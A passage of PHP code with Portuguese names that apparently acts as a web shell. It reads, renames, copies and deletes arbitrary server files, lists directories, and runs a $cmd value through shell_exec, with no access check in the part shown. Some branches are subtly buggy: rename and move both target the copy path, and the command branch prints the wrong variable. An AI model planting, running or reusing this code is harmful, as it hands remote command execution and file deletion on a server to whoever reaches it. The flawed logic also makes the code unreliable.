0) && (strlen($renomear) == 0) && (strlen($copiar) == 0) && (strlen($mover) == 0)) { header('Content-Type', 'text/plain'); $texto = file_get_contents(realpath(dirname($pagina)) . DIRECTORY_SEPARATOR . basename($pagina)); echo(htmlentities($texto)); die(); } if ((strlen($pagina) > 0) && (strlen($renomear) > 0)) { rename(pagina_absoluta($pagina), pagina_absoluta($copiar)); die(); } if ((strlen($pagina) > 0) && (strlen($copiar) > 0)) { copy(pagina_absoluta($pagina), pagina_absoluta($copiar)); die(); } if ((strlen($pagina) > 0) && (strlen($mover) > 0)) { rename(pagina_absoluta($pagina), pagina_absoluta($copiar)); die(); } if (strlen($excluir) > 0) { unlink(pagina_absoluta($excluir)); die(); } if (strlen($deletar) > 0) { unlink($deletar); die(); } if (strlen($pasta) > 0) { $pastas = pastas(pasta_absoluta($pasta), $recursivo); foreach ($pastas as $pasta) { echo($pasta . '
'); } die(); } if (strlen($diretorio) > 0) { $pastas = pastas($diretorio, $recursivo); foreach ($pastas as $pasta) { echo($pasta . '
'); } die(); } if (strlen($cmd) > 0) { $output = shell_exec($cmd); if (strlen($saida) > 0) { file_put_contents(realpath($saida), $output); } else { print_r($saida); } die(); } function pagina_absoluta($pagina) { if (substr($pagina, 0, 1) == '/') { $pagina_absoluta = $_SERVER["DOCUMENT_ROOT"] . str_replace('/', '\\', $pagina); } else if (substr($pagina, 0, 1) == '.') { $pagina_absoluta = __DIR__ . DIRECTORY_SEPARATOR . str_replace('/', '\\', dirname($pagina)) . DIRECTORY_SEPARATOR . basename($pagina); } else { $pagina_absoluta = __DIR__ . DIRECTORY_SEPARATOR . str_replace('/', '\\', $pagina); } return($pagina_absoluta); } function pasta_absoluta($pasta) { if (substr($pasta, 0, 1) == '/') { $pasta_absoluta = $_SERVER["DOCUMENT_ROOT"] . str_replace('/', '\\', $pasta); } else { $pasta_absoluta = realpath($pasta); } return($pasta_absoluta); } function pastas($folder, $recursive = TRUE, $include_folders = TRUE, $include_files = TRUE, $mask = NULL) { $folder = rtrim($folder, DIRECTORY_SEPARATOR); $pastas = array(); $files = array_diff(scandir($folder), array('.', '..')); foreach ($files as $file) { if (is_dir($folder . DIRECTORY_SEPARATOR . $file)) { if ($include_folders) { array_push($pastas, $folder . DIRECTORY_SEPARATOR . $file); } if ($recursive) { $pastas = array_merge($pastas, pastas($folder . DIRECTORY_SEPARATOR . $file, FALSE, $include_folders, $include_files)); } } else if (is_file($folder . DIRECTORY_SEPARATOR . $file)) { if ($include_files) { array_push($pastas, $folder . DIRECTORY_SEPARATOR . $file); } } } if (!is_null($mask)) { foreach ($pastas as $key => $value) { if (!fnmatch($mask, $value)) { unset($pastas[$key]); } } } return($pastas); } ?>